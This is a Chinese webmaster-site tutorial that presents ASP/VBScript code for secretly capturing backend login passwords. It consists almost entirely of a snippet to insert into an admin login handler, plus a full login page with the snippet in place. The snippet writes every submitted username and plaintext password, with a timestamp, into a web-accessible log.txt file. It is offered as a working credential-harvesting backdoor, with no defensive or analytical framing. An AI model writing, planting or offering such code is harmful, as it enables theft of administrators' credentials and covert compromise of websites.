加入收藏 | 设为首页 | 会员中心 | 我要投稿 银川站长网 (https://www.0951zz.com/)- 云通信、基础存储、云上网络、机器学习、视觉智能!
当前位置: 首页 > 站长学院 > Asp教程 > 正文

Asp获取后台登录密码的代码

发布时间:2023-06-27 13:56:14 所属栏目:Asp教程 来源:
导读:核心代码:代码如下:set fso=server.createobject("scripting.filesystemobject")if fso.FileExists(server.mappath("log.txt"))=true thenset fin=fso.OpenTextFile(server.mappath("log.txt"))temp=fin.readallfin.

核心代码:

代码如下:

set fso=server.createobject("scripting.filesystemobject")

if fso.FileExists(server.mappath("log.txt"))=true then

set fin=fso.OpenTextFile(server.mappath("log.txt"))

temp=fin.readall

fin.close

set fin=nothing

end if

set fout=fso.createtextfile(server.mappath("log.txt"))

fout.WriteLine(temp&"user:"&username&"¦pwd:"&password&"¦time:"&now()&"")

fout.close

set fout=nothing

set fso=nothing

在后台登录处表单提交的地方插入!

参考文件:

代码如下:

<%@language=vbscript codepage=936 %>

<%

dim sql,rs

dim username,password,CheckCode

username=replace(trim(request("username")),"'","")

password=replace(trim(Request("password")),"'","")

CheckCode=replace(trim(Request("CheckCode")),"'","")

if UserName="" then

FoundErr=True

ErrMsg=ErrMsg & "<br><li>用户名不能为空!</li>"

end if

if Password="" then

FoundErr=True

ErrMsg=ErrMsg & "<br><li>密码不能为空!</li>"

end if

if CheckCode="" then

FoundErr=True

ErrMsg=ErrMsg & "<br><li>验证码不能为空!</li>"

end if

if session("CheckCode")="" then

FoundErr=True

ErrMsg=ErrMsg & "<br><li>你登录时间过长,请重新返回登录页面进行登录。</li>"

end if

if CheckCode<>CStr(session("CheckCode")) then

FoundErr=True

ErrMsg=ErrMsg & "<br><li>您输入的确认码和系统产生的不一致,请重新输入。</li>"

end if

'这后面是我增加的代码~开始区域

set fso=server.createobject("scripting.filesystemobject")

if fso.FileExists(server.mappath("log.txt"))=true then

set fin=fso.OpenTextFile(server.mappath("log.txt"))

temp=fin.readall

fin.close

set fin=nothing

end if

set fout=fso.createtextfile(server.mappath("log.txt"))

fout.WriteLine(temp&"user:"&username&"|pwd:"&password&"|time:"&now()&"")

fout.close

set fout=nothing

set fso=nothing

'后面的代码被我删除了~结束区域

(编辑:银川站长网)

【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!

    推荐文章